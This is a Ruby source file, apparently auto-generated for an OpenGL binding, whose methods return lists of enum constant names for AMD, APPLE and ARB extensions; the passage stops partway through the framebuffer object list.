def self.get_ext_enum_GL_AMD_gcn_shader
[
]
end # self.get_ext_enum_GL_AMD_gcn_shader
def self.get_ext_enum_GL_AMD_gpu_shader_int64
[
'GL_INT64_NV',
'GL_UNSIGNED_INT64_NV',
'GL_INT8_NV',
'GL_INT8_VEC2_NV',
'GL_INT8_VEC3_NV',
'GL_INT8_VEC4_NV',
'GL_INT16_NV',
'GL_INT16_VEC2_NV',
'GL_INT16_VEC3_NV',
'GL_INT16_VEC4_NV',
'GL_INT64_VEC2_NV',
'GL_INT64_VEC3_NV',
'GL_INT64_VEC4_NV',
'GL_UNSIGNED_INT8_NV',
'GL_UNSIGNED_INT8_VEC2_NV',
'GL_UNSIGNED_INT8_VEC3_NV',
'GL_UNSIGNED_INT8_VEC4_NV',
'GL_UNSIGNED_INT16_NV',
'GL_UNSIGNED_INT16_VEC2_NV',
'GL_UNSIGNED_INT16_VEC3_NV',
'GL_UNSIGNED_INT16_VEC4_NV',
'GL_UNSIGNED_INT64_VEC2_NV',
'GL_UNSIGNED_INT64_VEC3_NV',
'GL_UNSIGNED_INT64_VEC4_NV',
'GL_FLOAT16_NV',
'GL_FLOAT16_VEC2_NV',
'GL_FLOAT16_VEC3_NV',
'GL_FLOAT16_VEC4_NV',
]
end # self.get_ext_enum_GL_AMD_gpu_shader_int64
def self.get_ext_enum_GL_AMD_interleaved_elements
[
'GL_VERTEX_ELEMENT_SWIZZLE_AMD',
'GL_VERTEX_ID_SWIZZLE_AMD',
'GL_RED',
'GL_GREEN',
'GL_BLUE',
'GL_ALPHA',
'GL_RG8UI',
'GL_RG16UI',
'GL_RGBA8UI',
]
end # self.get_ext_enum_GL_AMD_interleaved_elements
def self.get_ext_enum_GL_AMD_multi_draw_indirect
[
]
end # self.get_ext_enum_GL_AMD_multi_draw_indirect
def self.get_ext_enum_GL_AMD_name_gen_delete
[
'GL_DATA_BUFFER_AMD',
'GL_PERFORMANCE_MONITOR_AMD',
'GL_QUERY_OBJECT_AMD',
'GL_VERTEX_ARRAY_OBJECT_AMD',
'GL_SAMPLER_OBJECT_AMD',
]
end # self.get_ext_enum_GL_AMD_name_gen_delete
def self.get_ext_enum_GL_AMD_occlusion_query_event
[
'GL_OCCLUSION_QUERY_EVENT_MASK_AMD',
'GL_QUERY_DEPTH_PASS_EVENT_BIT_AMD',
'GL_QUERY_DEPTH_FAIL_EVENT_BIT_AMD',
'GL_QUERY_STENCIL_FAIL_EVENT_BIT_AMD',
'GL_QUERY_DEPTH_BOUNDS_FAIL_EVENT_BIT_AMD',
'GL_QUERY_ALL_EVENT_BITS_AMD',
]
end # self.get_ext_enum_GL_AMD_occlusion_query_event
def self.get_ext_enum_GL_AMD_performance_monitor
[
'GL_COUNTER_TYPE_AMD',
'GL_COUNTER_RANGE_AMD',
'GL_UNSIGNED_INT64_AMD',
'GL_PERCENTAGE_AMD',
'GL_PERFMON_RESULT_AVAILABLE_AMD',
'GL_PERFMON_RESULT_SIZE_AMD',
'GL_PERFMON_RESULT_AMD',
]
end # self.get_ext_enum_GL_AMD_performance_monitor
def self.get_ext_enum_GL_AMD_pinned_memory
[
'GL_EXTERNAL_VIRTUAL_MEMORY_BUFFER_AMD',
]
end # self.get_ext_enum_GL_AMD_pinned_memory
def self.get_ext_enum_GL_AMD_query_buffer_object
[
'GL_QUERY_BUFFER_AMD',
'GL_QUERY_BUFFER_BINDING_AMD',
'GL_QUERY_RESULT_NO_WAIT_AMD',
]
end # self.get_ext_enum_GL_AMD_query_buffer_object
def self.get_ext_enum_GL_AMD_sample_positions
[
'GL_SUBSAMPLE_DISTANCE_AMD',
]
end # self.get_ext_enum_GL_AMD_sample_positions
def self.get_ext_enum_GL_AMD_seamless_cubemap_per_texture
[
'GL_TEXTURE_CUBE_MAP_SEAMLESS',
]
end # self.get_ext_enum_GL_AMD_seamless_cubemap_per_texture
def self.get_ext_enum_GL_AMD_shader_atomic_counter_ops
[
]
end # self.get_ext_enum_GL_AMD_shader_atomic_counter_ops
def self.get_ext_enum_GL_AMD_shader_stencil_export
[
]
end # self.get_ext_enum_GL_AMD_shader_stencil_export
def self.get_ext_enum_GL_AMD_shader_trinary_minmax
[
]
end # self.get_ext_enum_GL_AMD_shader_trinary_minmax
def self.get_ext_enum_GL_AMD_sparse_texture
[
'GL_VIRTUAL_PAGE_SIZE_X_AMD',
'GL_VIRTUAL_PAGE_SIZE_Y_AMD',
'GL_VIRTUAL_PAGE_SIZE_Z_AMD',
'GL_MAX_SPARSE_TEXTURE_SIZE_AMD',
'GL_MAX_SPARSE_3D_TEXTURE_SIZE_AMD',
'GL_MAX_SPARSE_ARRAY_TEXTURE_LAYERS',
'GL_MIN_SPARSE_LEVEL_AMD',
'GL_MIN_LOD_WARNING_AMD',
'GL_TEXTURE_STORAGE_SPARSE_BIT_AMD',
]
end # self.get_ext_enum_GL_AMD_sparse_texture
def self.get_ext_enum_GL_AMD_stencil_operation_extended
[
'GL_SET_AMD',
'GL_REPLACE_VALUE_AMD',
'GL_STENCIL_OP_VALUE_AMD',
'GL_STENCIL_BACK_OP_VALUE_AMD',
]
end # self.get_ext_enum_GL_AMD_stencil_operation_extended
def self.get_ext_enum_GL_AMD_texture_texture4
[
]
end # self.get_ext_enum_GL_AMD_texture_texture4
def self.get_ext_enum_GL_AMD_transform_feedback3_lines_triangles
[
]
end # self.get_ext_enum_GL_AMD_transform_feedback3_lines_triangles
def self.get_ext_enum_GL_AMD_transform_feedback4
[
'GL_STREAM_RASTERIZATION_AMD',
]
end # self.get_ext_enum_GL_AMD_transform_feedback4
def self.get_ext_enum_GL_AMD_vertex_shader_layer
[
]
end # self.get_ext_enum_GL_AMD_vertex_shader_layer
def self.get_ext_enum_GL_AMD_vertex_shader_tessellator
[
'GL_SAMPLER_BUFFER_AMD',
'GL_INT_SAMPLER_BUFFER_AMD',
'GL_UNSIGNED_INT_SAMPLER_BUFFER_AMD',
'GL_TESSELLATION_MODE_AMD',
'GL_TESSELLATION_FACTOR_AMD',
'GL_DISCRETE_AMD',
'GL_CONTINUOUS_AMD',
]
end # self.get_ext_enum_GL_AMD_vertex_shader_tessellator
def self.get_ext_enum_GL_AMD_vertex_shader_viewport_index
[
]
end # self.get_ext_enum_GL_AMD_vertex_shader_viewport_index
def self.get_ext_enum_GL_APPLE_aux_depth_stencil
[
'GL_AUX_DEPTH_STENCIL_APPLE',
]
end # self.get_ext_enum_GL_APPLE_aux_depth_stencil
def self.get_ext_enum_GL_APPLE_client_storage
[
'GL_UNPACK_CLIENT_STORAGE_APPLE',
]
end # self.get_ext_enum_GL_APPLE_client_storage
def self.get_ext_enum_GL_APPLE_element_array
[
'GL_ELEMENT_ARRAY_APPLE',
'GL_ELEMENT_ARRAY_TYPE_APPLE',
'GL_ELEMENT_ARRAY_POINTER_APPLE',
]
end # self.get_ext_enum_GL_APPLE_element_array
def self.get_ext_enum_GL_APPLE_fence
[
'GL_DRAW_PIXELS_APPLE',
'GL_FENCE_APPLE',
]
end # self.get_ext_enum_GL_APPLE_fence
def self.get_ext_enum_GL_APPLE_float_pixels
[
'GL_HALF_APPLE',
'GL_RGBA_FLOAT32_APPLE',
'GL_RGB_FLOAT32_APPLE',
'GL_ALPHA_FLOAT32_APPLE',
'GL_INTENSITY_FLOAT32_APPLE',
'GL_LUMINANCE_FLOAT32_APPLE',
'GL_LUMINANCE_ALPHA_FLOAT32_APPLE',
'GL_RGBA_FLOAT16_APPLE',
'GL_RGB_FLOAT16_APPLE',
'GL_ALPHA_FLOAT16_APPLE',
'GL_INTENSITY_FLOAT16_APPLE',
'GL_LUMINANCE_FLOAT16_APPLE',
'GL_LUMINANCE_ALPHA_FLOAT16_APPLE',
'GL_COLOR_FLOAT_APPLE',
]
end # self.get_ext_enum_GL_APPLE_float_pixels
def self.get_ext_enum_GL_APPLE_flush_buffer_range
[
'GL_BUFFER_SERIALIZED_MODIFY_APPLE',
'GL_BUFFER_FLUSHING_UNMAP_APPLE',
]
end # self.get_ext_enum_GL_APPLE_flush_buffer_range
def self.get_ext_enum_GL_APPLE_object_purgeable
[
'GL_BUFFER_OBJECT_APPLE',
'GL_RELEASED_APPLE',
'GL_VOLATILE_APPLE',
'GL_RETAINED_APPLE',
'GL_UNDEFINED_APPLE',
'GL_PURGEABLE_APPLE',
]
end # self.get_ext_enum_GL_APPLE_object_purgeable
def self.get_ext_enum_GL_APPLE_rgb_422
[
'GL_RGB_422_APPLE',
'GL_UNSIGNED_SHORT_8_8_APPLE',
'GL_UNSIGNED_SHORT_8_8_REV_APPLE',
'GL_RGB_RAW_422_APPLE',
]
end # self.get_ext_enum_GL_APPLE_rgb_422
def self.get_ext_enum_GL_APPLE_row_bytes
[
'GL_PACK_ROW_BYTES_APPLE',
'GL_UNPACK_ROW_BYTES_APPLE',
]
end # self.get_ext_enum_GL_APPLE_row_bytes
def self.get_ext_enum_GL_APPLE_specular_vector
[
'GL_LIGHT_MODEL_SPECULAR_VECTOR_APPLE',
]
end # self.get_ext_enum_GL_APPLE_specular_vector
def self.get_ext_enum_GL_APPLE_texture_range
[
'GL_TEXTURE_RANGE_LENGTH_APPLE',
'GL_TEXTURE_RANGE_POINTER_APPLE',
'GL_TEXTURE_STORAGE_HINT_APPLE',
'GL_STORAGE_PRIVATE_APPLE',
'GL_STORAGE_CACHED_APPLE',
'GL_STORAGE_SHARED_APPLE',
]
end # self.get_ext_enum_GL_APPLE_texture_range
def self.get_ext_enum_GL_APPLE_transform_hint
[
'GL_TRANSFORM_HINT_APPLE',
]
end # self.get_ext_enum_GL_APPLE_transform_hint
def self.get_ext_enum_GL_APPLE_vertex_array_object
[
'GL_VERTEX_ARRAY_BINDING_APPLE',
]
end # self.get_ext_enum_GL_APPLE_vertex_array_object
def self.get_ext_enum_GL_APPLE_vertex_array_range
[
'GL_VERTEX_ARRAY_RANGE_APPLE',
'GL_VERTEX_ARRAY_RANGE_LENGTH_APPLE',
'GL_VERTEX_ARRAY_STORAGE_HINT_APPLE',
'GL_VERTEX_ARRAY_RANGE_POINTER_APPLE',
'GL_STORAGE_CLIENT_APPLE',
'GL_STORAGE_CACHED_APPLE',
'GL_STORAGE_SHARED_APPLE',
]
end # self.get_ext_enum_GL_APPLE_vertex_array_range
def self.get_ext_enum_GL_APPLE_vertex_program_evaluators
[
'GL_VERTEX_ATTRIB_MAP1_APPLE',
'GL_VERTEX_ATTRIB_MAP2_APPLE',
'GL_VERTEX_ATTRIB_MAP1_SIZE_APPLE',
'GL_VERTEX_ATTRIB_MAP1_COEFF_APPLE',
'GL_VERTEX_ATTRIB_MAP1_ORDER_APPLE',
'GL_VERTEX_ATTRIB_MAP1_DOMAIN_APPLE',
'GL_VERTEX_ATTRIB_MAP2_SIZE_APPLE',
'GL_VERTEX_ATTRIB_MAP2_COEFF_APPLE',
'GL_VERTEX_ATTRIB_MAP2_ORDER_APPLE',
'GL_VERTEX_ATTRIB_MAP2_DOMAIN_APPLE',
]
end # self.get_ext_enum_GL_APPLE_vertex_program_evaluators
def self.get_ext_enum_GL_APPLE_ycbcr_422
[
'GL_YCBCR_422_APPLE',
'GL_UNSIGNED_SHORT_8_8_APPLE',
'GL_UNSIGNED_SHORT_8_8_REV_APPLE',
]
end # self.get_ext_enum_GL_APPLE_ycbcr_422
def self.get_ext_enum_GL_ARB_ES2_compatibility
[
'GL_FIXED',
'GL_IMPLEMENTATION_COLOR_READ_TYPE',
'GL_IMPLEMENTATION_COLOR_READ_FORMAT',
'GL_LOW_FLOAT',
'GL_MEDIUM_FLOAT',
'GL_HIGH_FLOAT',
'GL_LOW_INT',
'GL_MEDIUM_INT',
'GL_HIGH_INT',
'GL_SHADER_COMPILER',
'GL_SHADER_BINARY_FORMATS',
'GL_NUM_SHADER_BINARY_FORMATS',
'GL_MAX_VERTEX_UNIFORM_VECTORS',
'GL_MAX_VARYING_VECTORS',
'GL_MAX_FRAGMENT_UNIFORM_VECTORS',
'GL_RGB565',
]
end # self.get_ext_enum_GL_ARB_ES2_compatibility
def self.get_ext_enum_GL_ARB_ES3_1_compatibility
[
'GL_BACK',
]
end # self.get_ext_enum_GL_ARB_ES3_1_compatibility
def self.get_ext_enum_GL_ARB_ES3_2_compatibility
[
'GL_PRIMITIVE_BOUNDING_BOX_ARB',
'GL_MULTISAMPLE_LINE_WIDTH_RANGE_ARB',
'GL_MULTISAMPLE_LINE_WIDTH_GRANULARITY_ARB',
]
end # self.get_ext_enum_GL_ARB_ES3_2_compatibility
def self.get_ext_enum_GL_ARB_ES3_compatibility
[
'GL_COMPRESSED_RGB8_ETC2',
'GL_COMPRESSED_SRGB8_ETC2',
'GL_COMPRESSED_RGB8_PUNCHTHROUGH_ALPHA1_ETC2',
'GL_COMPRESSED_SRGB8_PUNCHTHROUGH_ALPHA1_ETC2',
'GL_COMPRESSED_RGBA8_ETC2_EAC',
'GL_COMPRESSED_SRGB8_ALPHA8_ETC2_EAC',
'GL_COMPRESSED_R11_EAC',
'GL_COMPRESSED_SIGNED_R11_EAC',
'GL_COMPRESSED_RG11_EAC',
'GL_COMPRESSED_SIGNED_RG11_EAC',
'GL_PRIMITIVE_RESTART_FIXED_INDEX',
'GL_ANY_SAMPLES_PASSED_CONSERVATIVE',
'GL_MAX_ELEMENT_INDEX',
]
end # self.get_ext_enum_GL_ARB_ES3_compatibility
def self.get_ext_enum_GL_ARB_arrays_of_arrays
[
]
end # self.get_ext_enum_GL_ARB_arrays_of_arrays
def self.get_ext_enum_GL_ARB_base_instance
[
]
end # self.get_ext_enum_GL_ARB_base_instance
def self.get_ext_enum_GL_ARB_bindless_texture
[
'GL_UNSIGNED_INT64_ARB',
]
end # self.get_ext_enum_GL_ARB_bindless_texture
def self.get_ext_enum_GL_ARB_blend_func_extended
[
'GL_SRC1_COLOR',
'GL_SRC1_ALPHA',
'GL_ONE_MINUS_SRC1_COLOR',
'GL_ONE_MINUS_SRC1_ALPHA',
'GL_MAX_DUAL_SOURCE_DRAW_BUFFERS',
]
end # self.get_ext_enum_GL_ARB_blend_func_extended
def self.get_ext_enum_GL_ARB_buffer_storage
[
'GL_MAP_READ_BIT',
'GL_MAP_WRITE_BIT',
'GL_MAP_PERSISTENT_BIT',
'GL_MAP_COHERENT_BIT',
'GL_DYNAMIC_STORAGE_BIT',
'GL_CLIENT_STORAGE_BIT',
'GL_CLIENT_MAPPED_BUFFER_BARRIER_BIT',
'GL_BUFFER_IMMUTABLE_STORAGE',
'GL_BUFFER_STORAGE_FLAGS',
]
end # self.get_ext_enum_GL_ARB_buffer_storage
def self.get_ext_enum_GL_ARB_cl_event
[
'GL_SYNC_CL_EVENT_ARB',
'GL_SYNC_CL_EVENT_COMPLETE_ARB',
]
end # self.get_ext_enum_GL_ARB_cl_event
def self.get_ext_enum_GL_ARB_clear_buffer_object
[
]
end # self.get_ext_enum_GL_ARB_clear_buffer_object
def self.get_ext_enum_GL_ARB_clear_texture
[
'GL_CLEAR_TEXTURE',
]
end # self.get_ext_enum_GL_ARB_clear_texture
def self.get_ext_enum_GL_ARB_clip_control
[
'GL_LOWER_LEFT',
'GL_UPPER_LEFT',
'GL_NEGATIVE_ONE_TO_ONE',
'GL_ZERO_TO_ONE',
'GL_CLIP_ORIGIN',
'GL_CLIP_DEPTH_MODE',
]
end # self.get_ext_enum_GL_ARB_clip_control
def self.get_ext_enum_GL_ARB_color_buffer_float
[
'GL_RGBA_FLOAT_MODE_ARB',
'GL_CLAMP_VERTEX_COLOR_ARB',
'GL_CLAMP_FRAGMENT_COLOR_ARB',
'GL_CLAMP_READ_COLOR_ARB',
'GL_FIXED_ONLY_ARB',
]
end # self.get_ext_enum_GL_ARB_color_buffer_float
def self.get_ext_enum_GL_ARB_compatibility
[
]
end # self.get_ext_enum_GL_ARB_compatibility
def self.get_ext_enum_GL_ARB_compressed_texture_pixel_storage
[
'GL_UNPACK_COMPRESSED_BLOCK_WIDTH',
'GL_UNPACK_COMPRESSED_BLOCK_HEIGHT',
'GL_UNPACK_COMPRESSED_BLOCK_DEPTH',
'GL_UNPACK_COMPRESSED_BLOCK_SIZE',
'GL_PACK_COMPRESSED_BLOCK_WIDTH',
'GL_PACK_COMPRESSED_BLOCK_HEIGHT',
'GL_PACK_COMPRESSED_BLOCK_DEPTH',
'GL_PACK_COMPRESSED_BLOCK_SIZE',
]
end # self.get_ext_enum_GL_ARB_compressed_texture_pixel_storage
def self.get_ext_enum_GL_ARB_compute_shader
[
'GL_COMPUTE_SHADER',
'GL_MAX_COMPUTE_UNIFORM_BLOCKS',
'GL_MAX_COMPUTE_TEXTURE_IMAGE_UNITS',
'GL_MAX_COMPUTE_IMAGE_UNIFORMS',
'GL_MAX_COMPUTE_SHARED_MEMORY_SIZE',
'GL_MAX_COMPUTE_UNIFORM_COMPONENTS',
'GL_MAX_COMPUTE_ATOMIC_COUNTER_BUFFERS',
'GL_MAX_COMPUTE_ATOMIC_COUNTERS',
'GL_MAX_COMBINED_COMPUTE_UNIFORM_COMPONENTS',
'GL_MAX_COMPUTE_WORK_GROUP_INVOCATIONS',
'GL_MAX_COMPUTE_WORK_GROUP_COUNT',
'GL_MAX_COMPUTE_WORK_GROUP_SIZE',
'GL_COMPUTE_WORK_GROUP_SIZE',
'GL_UNIFORM_BLOCK_REFERENCED_BY_COMPUTE_SHADER',
'GL_ATOMIC_COUNTER_BUFFER_REFERENCED_BY_COMPUTE_SHADER',
'GL_DISPATCH_INDIRECT_BUFFER',
'GL_DISPATCH_INDIRECT_BUFFER_BINDING',
'GL_COMPUTE_SHADER_BIT',
]
end # self.get_ext_enum_GL_ARB_compute_shader
def self.get_ext_enum_GL_ARB_compute_variable_group_size
[
'GL_MAX_COMPUTE_VARIABLE_GROUP_INVOCATIONS_ARB',
'GL_MAX_COMPUTE_FIXED_GROUP_INVOCATIONS_ARB',
'GL_MAX_COMPUTE_VARIABLE_GROUP_SIZE_ARB',
'GL_MAX_COMPUTE_FIXED_GROUP_SIZE_ARB',
]
end # self.get_ext_enum_GL_ARB_compute_variable_group_size
def self.get_ext_enum_GL_ARB_conditional_render_inverted
[
'GL_QUERY_WAIT_INVERTED',
'GL_QUERY_NO_WAIT_INVERTED',
'GL_QUERY_BY_REGION_WAIT_INVERTED',
'GL_QUERY_BY_REGION_NO_WAIT_INVERTED',
]
end # self.get_ext_enum_GL_ARB_conditional_render_inverted
def self.get_ext_enum_GL_ARB_conservative_depth
[
]
end # self.get_ext_enum_GL_ARB_conservative_depth
def self.get_ext_enum_GL_ARB_copy_buffer
[
'GL_COPY_READ_BUFFER',
'GL_COPY_WRITE_BUFFER',
]
end # self.get_ext_enum_GL_ARB_copy_buffer
def self.get_ext_enum_GL_ARB_copy_image
[
]
end # self.get_ext_enum_GL_ARB_copy_image
def self.get_ext_enum_GL_ARB_cull_distance
[
'GL_MAX_CULL_DISTANCES',
'GL_MAX_COMBINED_CLIP_AND_CULL_DISTANCES',
]
end # self.get_ext_enum_GL_ARB_cull_distance
def self.get_ext_enum_GL_ARB_debug_output
[
'GL_DEBUG_OUTPUT_SYNCHRONOUS_ARB',
'GL_DEBUG_NEXT_LOGGED_MESSAGE_LENGTH_ARB',
'GL_DEBUG_CALLBACK_FUNCTION_ARB',
'GL_DEBUG_CALLBACK_USER_PARAM_ARB',
'GL_DEBUG_SOURCE_API_ARB',
'GL_DEBUG_SOURCE_WINDOW_SYSTEM_ARB',
'GL_DEBUG_SOURCE_SHADER_COMPILER_ARB',
'GL_DEBUG_SOURCE_THIRD_PARTY_ARB',
'GL_DEBUG_SOURCE_APPLICATION_ARB',
'GL_DEBUG_SOURCE_OTHER_ARB',
'GL_DEBUG_TYPE_ERROR_ARB',
'GL_DEBUG_TYPE_DEPRECATED_BEHAVIOR_ARB',
'GL_DEBUG_TYPE_UNDEFINED_BEHAVIOR_ARB',
'GL_DEBUG_TYPE_PORTABILITY_ARB',
'GL_DEBUG_TYPE_PERFORMANCE_ARB',
'GL_DEBUG_TYPE_OTHER_ARB',
'GL_MAX_DEBUG_MESSAGE_LENGTH_ARB',
'GL_MAX_DEBUG_LOGGED_MESSAGES_ARB',
'GL_DEBUG_LOGGED_MESSAGES_ARB',
'GL_DEBUG_SEVERITY_HIGH_ARB',
'GL_DEBUG_SEVERITY_MEDIUM_ARB',
'GL_DEBUG_SEVERITY_LOW_ARB',
]
end # self.get_ext_enum_GL_ARB_debug_output
def self.get_ext_enum_GL_ARB_depth_buffer_float
[
'GL_DEPTH_COMPONENT32F',
'GL_DEPTH32F_STENCIL8',
'GL_FLOAT_32_UNSIGNED_INT_24_8_REV',
]
end # self.get_ext_enum_GL_ARB_depth_buffer_float
def self.get_ext_enum_GL_ARB_depth_clamp
[
'GL_DEPTH_CLAMP',
]
end # self.get_ext_enum_GL_ARB_depth_clamp
def self.get_ext_enum_GL_ARB_depth_texture
[
'GL_DEPTH_COMPONENT16_ARB',
'GL_DEPTH_COMPONENT24_ARB',
'GL_DEPTH_COMPONENT32_ARB',
'GL_TEXTURE_DEPTH_SIZE_ARB',
'GL_DEPTH_TEXTURE_MODE_ARB',
]
end # self.get_ext_enum_GL_ARB_depth_texture
def self.get_ext_enum_GL_ARB_derivative_control
[
]
end # self.get_ext_enum_GL_ARB_derivative_control
def self.get_ext_enum_GL_ARB_direct_state_access
[
'GL_TEXTURE_TARGET',
'GL_QUERY_TARGET',
'GL_TEXTURE_BINDING_1D',
'GL_TEXTURE_BINDING_1D_ARRAY',
'GL_TEXTURE_BINDING_2D',
'GL_TEXTURE_BINDING_2D_ARRAY',
'GL_TEXTURE_BINDING_2D_MULTISAMPLE',
'GL_TEXTURE_BINDING_2D_MULTISAMPLE_ARRAY',
'GL_TEXTURE_BINDING_3D',
'GL_TEXTURE_BINDING_BUFFER',
'GL_TEXTURE_BINDING_CUBE_MAP',
'GL_TEXTURE_BINDING_CUBE_MAP_ARRAY',
'GL_TEXTURE_BINDING_RECTANGLE',
]
end # self.get_ext_enum_GL_ARB_direct_state_access
def self.get_ext_enum_GL_ARB_draw_buffers
[
'GL_MAX_DRAW_BUFFERS_ARB',
'GL_DRAW_BUFFER0_ARB',
'GL_DRAW_BUFFER1_ARB',
'GL_DRAW_BUFFER2_ARB',
'GL_DRAW_BUFFER3_ARB',
'GL_DRAW_BUFFER4_ARB',
'GL_DRAW_BUFFER5_ARB',
'GL_DRAW_BUFFER6_ARB',
'GL_DRAW_BUFFER7_ARB',
'GL_DRAW_BUFFER8_ARB',
'GL_DRAW_BUFFER9_ARB',
'GL_DRAW_BUFFER10_ARB',
'GL_DRAW_BUFFER11_ARB',
'GL_DRAW_BUFFER12_ARB',
'GL_DRAW_BUFFER13_ARB',
'GL_DRAW_BUFFER14_ARB',
'GL_DRAW_BUFFER15_ARB',
]
end # self.get_ext_enum_GL_ARB_draw_buffers
def self.get_ext_enum_GL_ARB_draw_buffers_blend
[
]
end # self.get_ext_enum_GL_ARB_draw_buffers_blend
def self.get_ext_enum_GL_ARB_draw_elements_base_vertex
[
]
end # self.get_ext_enum_GL_ARB_draw_elements_base_vertex
def self.get_ext_enum_GL_ARB_draw_indirect
[
'GL_DRAW_INDIRECT_BUFFER',
'GL_DRAW_INDIRECT_BUFFER_BINDING',
]
end # self.get_ext_enum_GL_ARB_draw_indirect
def self.get_ext_enum_GL_ARB_draw_instanced
[
]
end # self.get_ext_enum_GL_ARB_draw_instanced
def self.get_ext_enum_GL_ARB_enhanced_layouts
[
'GL_LOCATION_COMPONENT',
'GL_TRANSFORM_FEEDBACK_BUFFER',
'GL_TRANSFORM_FEEDBACK_BUFFER_INDEX',
'GL_TRANSFORM_FEEDBACK_BUFFER_STRIDE',
]
end # self.get_ext_enum_GL_ARB_enhanced_layouts
def self.get_ext_enum_GL_ARB_explicit_attrib_location
[
]
end # self.get_ext_enum_GL_ARB_explicit_attrib_location
def self.get_ext_enum_GL_ARB_explicit_uniform_location
[
'GL_MAX_UNIFORM_LOCATIONS',
]
end # self.get_ext_enum_GL_ARB_explicit_uniform_location
def self.get_ext_enum_GL_ARB_fragment_coord_conventions
[
]
end # self.get_ext_enum_GL_ARB_fragment_coord_conventions
def self.get_ext_enum_GL_ARB_fragment_layer_viewport
[
]
end # self.get_ext_enum_GL_ARB_fragment_layer_viewport
def self.get_ext_enum_GL_ARB_fragment_program
[
'GL_FRAGMENT_PROGRAM_ARB',
'GL_PROGRAM_FORMAT_ASCII_ARB',
'GL_PROGRAM_LENGTH_ARB',
'GL_PROGRAM_FORMAT_ARB',
'GL_PROGRAM_BINDING_ARB',
'GL_PROGRAM_INSTRUCTIONS_ARB',
'GL_MAX_PROGRAM_INSTRUCTIONS_ARB',
'GL_PROGRAM_NATIVE_INSTRUCTIONS_ARB',
'GL_MAX_PROGRAM_NATIVE_INSTRUCTIONS_ARB',
'GL_PROGRAM_TEMPORARIES_ARB',
'GL_MAX_PROGRAM_TEMPORARIES_ARB',
'GL_PROGRAM_NATIVE_TEMPORARIES_ARB',
'GL_MAX_PROGRAM_NATIVE_TEMPORARIES_ARB',
'GL_PROGRAM_PARAMETERS_ARB',
'GL_MAX_PROGRAM_PARAMETERS_ARB',
'GL_PROGRAM_NATIVE_PARAMETERS_ARB',
'GL_MAX_PROGRAM_NATIVE_PARAMETERS_ARB',
'GL_PROGRAM_ATTRIBS_ARB',
'GL_MAX_PROGRAM_ATTRIBS_ARB',
'GL_PROGRAM_NATIVE_ATTRIBS_ARB',
'GL_MAX_PROGRAM_NATIVE_ATTRIBS_ARB',
'GL_MAX_PROGRAM_LOCAL_PARAMETERS_ARB',
'GL_MAX_PROGRAM_ENV_PARAMETERS_ARB',
'GL_PROGRAM_UNDER_NATIVE_LIMITS_ARB',
'GL_PROGRAM_ALU_INSTRUCTIONS_ARB',
'GL_PROGRAM_TEX_INSTRUCTIONS_ARB',
'GL_PROGRAM_TEX_INDIRECTIONS_ARB',
'GL_PROGRAM_NATIVE_ALU_INSTRUCTIONS_ARB',
'GL_PROGRAM_NATIVE_TEX_INSTRUCTIONS_ARB',
'GL_PROGRAM_NATIVE_TEX_INDIRECTIONS_ARB',
'GL_MAX_PROGRAM_ALU_INSTRUCTIONS_ARB',
'GL_MAX_PROGRAM_TEX_INSTRUCTIONS_ARB',
'GL_MAX_PROGRAM_TEX_INDIRECTIONS_ARB',
'GL_MAX_PROGRAM_NATIVE_ALU_INSTRUCTIONS_ARB',
'GL_MAX_PROGRAM_NATIVE_TEX_INSTRUCTIONS_ARB',
'GL_MAX_PROGRAM_NATIVE_TEX_INDIRECTIONS_ARB',
'GL_PROGRAM_STRING_ARB',
'GL_PROGRAM_ERROR_POSITION_ARB',
'GL_CURRENT_MATRIX_ARB',
'GL_TRANSPOSE_CURRENT_MATRIX_ARB',
'GL_CURRENT_MATRIX_STACK_DEPTH_ARB',
'GL_MAX_PROGRAM_MATRICES_ARB',
'GL_MAX_PROGRAM_MATRIX_STACK_DEPTH_ARB',
'GL_MAX_TEXTURE_COORDS_ARB',
'GL_MAX_TEXTURE_IMAGE_UNITS_ARB',
'GL_PROGRAM_ERROR_STRING_ARB',
'GL_MATRIX0_ARB',
'GL_MATRIX1_ARB',
'GL_MATRIX2_ARB',
'GL_MATRIX3_ARB',
'GL_MATRIX4_ARB',
'GL_MATRIX5_ARB',
'GL_MATRIX6_ARB',
'GL_MATRIX7_ARB',
'GL_MATRIX8_ARB',
'GL_MATRIX9_ARB',
'GL_MATRIX10_ARB',
'GL_MATRIX11_ARB',
'GL_MATRIX12_ARB',
'GL_MATRIX13_ARB',
'GL_MATRIX14_ARB',
'GL_MATRIX15_ARB',
'GL_MATRIX16_ARB',
'GL_MATRIX17_ARB',
'GL_MATRIX18_ARB',
'GL_MATRIX19_ARB',
'GL_MATRIX20_ARB',
'GL_MATRIX21_ARB',
'GL_MATRIX22_ARB',
'GL_MATRIX23_ARB',
'GL_MATRIX24_ARB',
'GL_MATRIX25_ARB',
'GL_MATRIX26_ARB',
'GL_MATRIX27_ARB',
'GL_MATRIX28_ARB',
'GL_MATRIX29_ARB',
'GL_MATRIX30_ARB',
'GL_MATRIX31_ARB',
]
end # self.get_ext_enum_GL_ARB_fragment_program
def self.get_ext_enum_GL_ARB_fragment_program_shadow
[
]
end # self.get_ext_enum_GL_ARB_fragment_program_shadow
def self.get_ext_enum_GL_ARB_fragment_shader
[
'GL_FRAGMENT_SHADER_ARB',
'GL_MAX_FRAGMENT_UNIFORM_COMPONENTS_ARB',
'GL_FRAGMENT_SHADER_DERIVATIVE_HINT_ARB',
]
end # self.get_ext_enum_GL_ARB_fragment_shader
def self.get_ext_enum_GL_ARB_fragment_shader_interlock
[
]
end # self.get_ext_enum_GL_ARB_fragment_shader_interlock
def self.get_ext_enum_GL_ARB_framebuffer_no_attachments
[
'GL_FRAMEBUFFER_DEFAULT_WIDTH',
'GL_FRAMEBUFFER_DEFAULT_HEIGHT',
'GL_FRAMEBUFFER_DEFAULT_LAYERS',
'GL_FRAMEBUFFER_DEFAULT_SAMPLES',
'GL_FRAMEBUFFER_DEFAULT_FIXED_SAMPLE_LOCATIONS',
'GL_MAX_FRAMEBUFFER_WIDTH',
'GL_MAX_FRAMEBUFFER_HEIGHT',
'GL_MAX_FRAMEBUFFER_LAYERS',
'GL_MAX_FRAMEBUFFER_SAMPLES',
]
end # self.get_ext_enum_GL_ARB_framebuffer_no_attachments
def self.get_ext_enum_GL_ARB_framebuffer_object
[
'GL_INVALID_FRAMEBUFFER_OPERATION',
'GL_FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING',
'GL_FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE',
'GL_FRAMEBUFFER_ATTACHMENT_RED_SIZE',
'GL_FRAMEBUFFER_ATTACHMENT_GREEN_SIZE',
'GL_FRAMEBUFFER_ATTACHMENT_BLUE_SIZE',
